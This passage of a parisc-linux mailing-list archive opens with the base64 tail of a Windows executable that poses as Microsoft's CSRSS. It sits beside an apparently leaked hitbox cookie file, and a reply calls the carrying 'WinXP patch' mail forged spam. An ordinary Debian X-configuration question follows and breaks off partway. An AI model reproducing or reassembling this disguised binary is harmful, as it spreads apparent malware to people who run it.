AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgf+V8AAAAAbfD4d9jD
+Helt/h3OKT5d9/5+Xdrl/x37OX4dxgs+XcAAAAAAAAAAAAAAAAzzPI3AAAAAAQAAAAQAQAA
AAAAAAAUAAAAAAAAM8zyNwAAAAADAAAAMAAAAAAAAAAQFQAAAAAAADPM8jcAAAAABgAAAAAA
AAAAAAAAQBUAAAAAAAAzzPI3AAAAAAIAAAAaAAAAAAAAAJD+p/9Vi+xRg2X8AI1F/GoEUGoM
av//FRAQ/1/Jw1WL7FFRVos1EBD/X1eNRfxqBFBqBWr/x0X8DQAAAP/WM/9XV2oQav//1jvH
fRSNRfhQagFXV1doNwEAwP8VFBD/X/91DP91COgjAAAAi/A7930JVmr//xUMEP9f6IX///9W
av7/FQgQ/19fM8BeycP/JQAQ/19Vi+yD7ByLRQhTVlf/cBAz9ol19P8VJBD/X4vYjUX0iUXs
jUX0O96JdfyJdfiJRfB0dzlzRI1DQGoBX3QFZjkwdQONQzhXUI1F5FD/FSAQ/1+LReg7xnQn
gDgAdCKKCITJdAiA+SB/A0Dr8ooIhMl050eA+SB+4UCAOCB/+uvZi0NIR2oBO8ZadBxmiwhm
O850FEJAQGY7znTwZosIQEBmhcl19uvkQusGi30Ii1UIO96NRDoED4S3AAAAi0sMweACUItF
CFaJTfz/cBj/FRwQ/1+L+I1DQIl97Ik3OXAEdAVmOTB1A41DOGoBUI1F5FD/FSAQ/1+Ldegz
yQ+3ReQ78XRGg8ACUItFCFH/cBj/FRwQ/1+KDoTJdC2A+SB/CIpOAUaEyXXzgD4AdOiJB4PH
BP9F+IoOgPkgfgaICEBG6/OAIABA680zyYkPi0NIg8cEO8GJffB0FmY5CHQRiQeDxwRmixBA
QGaF0nX26+qJDzP2OXX8dAXoKgAAAP91/P918P917P91+Oj9/f//g8QQUGr//xUMEP9fagFY
X4kwXlvJwgQAzP8lGBD/XxgTAAD//////////14TAAAAEAAAIBMAAP//////////whMAAAgQ
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQTAAAAAAAAhBMAAJgTAABqEwAArhMAAMwTAADcEwAA
7hMAAA4UAAAAAAAAGABDc3JTZXJ2ZXJJbml0aWFsaXphdGlvbgBDU1JTUlYuZGxsAAAAAU50
U2V0SW5mb3JtYXRpb25Qcm9jZXNzABwBTnRUZXJtaW5hdGVUaHJlYWQAGwFOdFRlcm1pbmF0
ZVByb2Nlc3MAANgATnRSYWlzZUhhcmRFcnJvcgAAbnRkbGwuZGxsAA0ARGJnQnJlYWtQb2lu
dABKAVJ0bEFsbG9jYXRlSGVhcACFAlJ0bFVuaWNvZGVTdHJpbmdUb0Fuc2lTdHJpbmcAADAC
UnRsTm9ybWFsaXplUHJvY2Vzc1BhcmFtcwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgA
AIAAAAAAAAAAAAAAAAAAAAEAAQAAADAAAIAAAAAAAAAAAAAAAAAAAAEACQQAAEgAAABgIAAA
pAMAAAAAAAAAAAAAAAAAAAAAAACkAzQAAABWAFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYA
TwAAAAAAvQTv/gAAAQAAAAUAAQBZCAAABQABAFkIPwAAAAAAAAAEAAQAAQAAAAAAAAAAAAAA
AAAAAAQDAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYAbwAAAOACAAABADAANAAwADkA
MAA0AEIAMAAAAEwAFgABAEMAbwBtAHAAYQBuAHkATgBhAG0AZQAAAAAATQBpAGMAcgBvAHMA
bwBmAHQAIABDAG8AcgBwAG8AcgBhAHQAaQBvAG4AAABkAB4AAQBGAGkAbABlAEQAZQBzAGMA
cgBpAHAAdABpAG8AbgAAAAAAQwBsAGkAZQBuAHQAIABTAGUAcgB2AGUAcgAgAFIAdQBuAHQA
aQBtAGUAIABQAHIAbwBjAGUAcwBzAAAAOAAMAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAA
AAA1AC4AMAAwAC4AMgAxADMANwAuADEAAABSABkAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0A
ZQAAAEMAUwBSAFMAcgB2AC4ARABMAEwAIABhAG4AZAAgAEMAUwBSAFMAUwAuAEUAeABlAAAA
AAB0ACgAAQBMAGUAZwBhAGwAQwBvAHAAeQByAGkAZwBoAHQAAABDAG8AcAB5AHIAaQBnAGgA
dAAgACgAQwApACAATQBpAGMAcgBvAHMAbwBmAHQAIABDAG8AcgBwAC4AIAAxADkAOAAxAC0A
MQA5ADkAOQAAAFoAGQABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAABDAFMA
UgBTAHIAdgAuAEQATABMACAAYQBuAGQAIABDAFMAUgBTAFMALgBFAHgAZQAAAAAAfgAvAAEA
UAByAG8AZAB1AGMAdABOAGEAbQBlAAAAAABNAGkAYwByAG8AcwBvAGYAdAAoAFIAKQAgAFcA
aQBuAGQAbwB3AHMAIAAoAFIAKQAgADIAMAAwADAAIABPAHAAZQByAGEAdABpAG4AZwAgAFMA
eQBzAHQAZQBtAAAAAAA8AAwAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAA1AC4A
MAAwAC4AMgAxADMANwAuADEAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQA
BAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAACQSwBAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAD==
--J27QeGz32390h4B
--J27QeGz32390h4B
Content-Type: application/octet-stream;
	name=administrator@hitbox[1].txt
Content-Transfer-Encoding: base64
Content-ID: <I9E94483218x90Y0>

Q1RHCjEwMzA2NTkyMzUKaGl0Ym94LmNvbS8KMAoyMjczNzEwOTc2CjI5NTExNzk0CjMwNjAw
NzIzNjgKMjk1MTE2MTcKKgpXU1NfR1cKVjFBaVh6JXJYcmVRXkJYUQpoaXRib3guY29tLwow
CjM1ODg0Mjg2NzIKMjk1ODUwMTgKMzA1OTc3MjM2OAoyOTUxMTYxNwoqCj==
--J27QeGz32390h4B--


From - Thu Nov 08 21:24:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A WinXP patch
Date: Fri, 30 Aug 2002 13:04:45 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <20020830190445.618C6485F@dsl2.external.hp.com>
References: <20020830182048.JIDF10030.out004.verizon.net@Egpd>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621668 13177 80.91.229.3 (22 Nov 2014 02:01:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 30 13:04:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 618C6485F
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 Aug 2002 13:04:45 -0600 (MDT)
In-Reply-To: Message from grundler <grundler@puffin.external.hp.com> 
   of "Fri, 30 Aug 2002 13:20:50 CDT." <20020830182048.JIDF10030.out004.verizon.net@Egpd> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15969

grundler wrote:
> <FONT>Hello,This is a  WinXP patch<br>
> I expect you would like it.</FONT></BODY></HTML>

forged email - our trust worthy list admin approved this
spam a second before he realized it.
Save your flames for better causes.

grant


From - Thu Nov 08 21:24:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Madden <madden@maddentechnologies.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Debian 3.0 on C200
Date: Fri, 30 Aug 2002 17:28:05 -0500
Lines: 316
Approved: news@gmane.org
Message-ID: <20020830222805.GA29652@maddentechnologies.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621668 13178 80.91.229.3 (22 Nov 2014 02:01:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 30 16:28:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from zeus.maddentechnologies.com (dsl-64-195-19-17.telocity.com [64.195.19.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 42CDA4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 Aug 2002 16:28:27 -0600 (MDT)
Original-Received: from madden by zeus.maddentechnologies.com with local (Exim 3.35 #1 (Debian))
	id 17kuFJ-0007iV-00; Fri, 30 Aug 2002 17:28:05 -0500
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15970

Hello:

Has anyone gotten X to work with the Debian 3.0 port on a PA-RISC C200 machine? 
I have a C200 that I've installed Debian 3.0 on, but I cannot get X setup 
correctly.

The hardware is:
Main memory size: 768 Mbytes
1  Raven U 200 (9000/780/C200) processor
2 16550A serial ports
1 ethernet interface
  eth0: Digital DS21143 Tulip rev 48
PCI bus devices:
SCSI storage controller: LSI Logic / Symbios Logic (formerly NCR) 53c875 (rev 4).
Ethernet controller: Digital Equipment Corporation DECchip 21142/43 (rev 48).
Display controller: PCI device 103c:1008 (Hewlett-Packard Company) (rev 2).


I am attaching my config and log files if it helps.

Thanks in advance,
Michael

================================================================================

### BEGIN DEBCONF SECTION
# XF86Config-4 (XFree86 server configuration file) generated by dexconf, the
# Debian X Configuration tool, using values from the debconf database.
#
# Edit this file with caution, and see the XF86Config-4 manual page.
# (Type "man XF86Config-4" at the shell prompt.)
#
# If you want your changes to this file preserved by dexconf, only make changes
# before the "### BEGIN DEBCONF SECTION" line above, and/or after the
# "### END DEBCONF SECTION" line below.

Section "Files"
	FontPath	"unix/:7100"			# local font server
	# if the local font server has problems, we can fall back on these
	FontPath	"/usr/lib/X11/fonts/misc"
	FontPath	"/usr/lib/X11/fonts/cyrillic"
	FontPath	"/usr/lib/X11/fonts/100dpi/:unscaled"
	FontPath	"/usr/lib/X11/fonts/75dpi/:unscaled"
	FontPath	"/usr/lib/X11/fonts/Type1"
	FontPath	"/usr/lib/X11/fonts/Speedo"
	FontPath	"/usr/lib/X11/fonts/100dpi"
	FontPath	"/usr/lib/X11/fonts/75dpi"
EndSection

Section "Module"
	Load	"GLcore"
	Load	"bitmap"
	Load	"dbe"
	Load	"ddc"
	Load	"dri"
	Load	"extmod"
	Load	"freetype"
	Load	"glx"
	Load	"int10"
	Load	"pex5"
	Load	"record"
	Load	"speedo"
	Load	"type1"
	Load	"vbe"
	Load	"xie"
EndSection

Section "InputDevice"
	Identifier	"Generic Keyboard"
	Driver		"keyboard"
	Option		"CoreKeyboard"
	Option		"XkbRules"	"xfree86"
	Option		"XkbModel"	"pc104"
	Option		"XkbLayout"	"us"
EndSection

Section "InputDevice"
	Identifier	"Configured Mouse"
	Driver		"mouse"
	Option		"CorePointer"
	Option		"Device"		"/dev/psaux"
	Option		"Protocol"		"PS/2"
	Option		"Emulate3Buttons"	"true"
	Option		"ZAxisMapping"		"4 5"
EndSection

Section "InputDevice"
	Identifier	"Generic Mouse"
	Driver		"mouse"
	Option		"SendCoreEvents"	"true"
	Option		"Device"		"/dev/input/mice"
	Option		"Protocol"		"ImPS/2"
	Option		"Emulate3Buttons"	"true"
	Option		"ZAxisMapping"		"4 5"
EndSection

Section "Device"
	Identifier	"Generic Video Card"
	Driver		"fbdev"
	Option		"UseFBDev"		"true"
EndSection

Section "Monitor"
	Identifier	"Generic Monitor"
#
HorizSync
30-100
	HorizSync	31.5, 48.5
	VertRefresh	50-160
	Option		"DPMS"
EndSection

Section "Screen"
	Identifier	"Default Screen"
	Device		"Generic Video Card"
	Monitor		"Generic Monitor"
	DefaultDepth	8
	SubSection "Display"
		Depth		1
		Modes		"1280x1024"
	EndSubSection
	SubSection "Display"
		Depth		4
